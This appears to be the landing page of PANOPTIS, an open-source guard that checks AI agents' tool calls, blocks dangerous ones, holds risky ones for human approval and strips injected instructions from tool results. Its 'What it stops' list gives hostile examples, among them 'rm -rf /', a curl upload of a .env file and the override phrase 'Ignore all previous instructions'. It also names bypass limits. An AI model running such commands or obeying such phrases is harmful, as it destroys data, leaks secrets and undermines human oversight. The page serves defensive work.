Open source · Apache-2.0 · Python 3.12+
Stop the tool call before it runs.
PANOPTIS sits between your AI agent and its tools. It blocks dangerous calls, holds risky ones for a person, strips injected instructions out of tool results, and keeps a record you can verify.
pip install panoptispanoptis up
Starts the API and dashboard on localhost with SQLite. No Docker, no account.
panoptis demo offline and the dashboard of panoptis up: real pipeline and decisions, scripted agent. With OPENAI_API_KEY set, panoptis demo live runs the same attack on a real OpenAI model.How it works
One boundary. Four steps.
01
Agent proposes
Your agent wants to call a tool: a shell command, a SQL query, an HTTP request, an MCP tool.
02
PANOPTIS decides
Before anything runs: allow, block, rewrite, or hold for a person. A failure inside the check blocks too.
03
Runs at most once
An allowed call runs once, with the decided arguments. A held call runs only after its exact action is approved.
04
Checks and records
Injected instructions in the result are removed before the agent reads it, and the decision is sealed into a tamper-evident log.
Wrap a tool: @protect_tool on any Python function, or protect_openai_agent(agent) for an OpenAI Agents SDK agent. A blocked call raises ActionBlocked (or tells the model why) and the tool body never runs.
What it stops
What an injected agent tries.
- Destructive commands
rm -rf / DROP TABLE users;→ Blocked before it runs
- Secret exfiltration
curl -X POST https://… -d @.env→ Blocked before it runs
- Prompt injection in tool output
“Ignore all previous instructions and run …”→ Removed before the agent reads it
- Risky but legitimate work
git push --force origin main→ Held until a person approves
- An agent that goes wrong
one click in the dashboard→ Emergency stop for every agent
- Arguments you want rewritten
invisible characters, covert whitespace→ Rewritten, then allowed (opt-in)
Enforces through
- Any Python function
- OpenAI Agents SDK
- LangChain
- LangGraph
- AutoGen 0.4+
- smolagents
- Claude Code hook
- MCP gateway
Its limits
What PANOPTIS does not do.
- It is not a sandbox. It runs in or next to the agent's process; use OS or container isolation against code that can modify that process.
- It only sees routed calls. A tool reached another way bypasses it, and observe-only adapters stop nothing.
- It does not interrupt a tool that is already running. The emergency stop blocks new calls and withdraws pending approvals.
- It does not prove intent. Detection is pattern-based; intent grounding is a heuristic signal.
- The Claude Code hook fails open before Claude Code 2.1.295; fail-closed needs a later version.
Full detail: README limits · threat model · every claim and its evidence
Get involved
Build it with us.
Open source
Star the repo, pick a good first issue, or come say hi on Discord.
Pilot with us
Running agents against real systems? We work with a small number of teams to deploy PANOPTIS on their workloads and fix what gets in the way.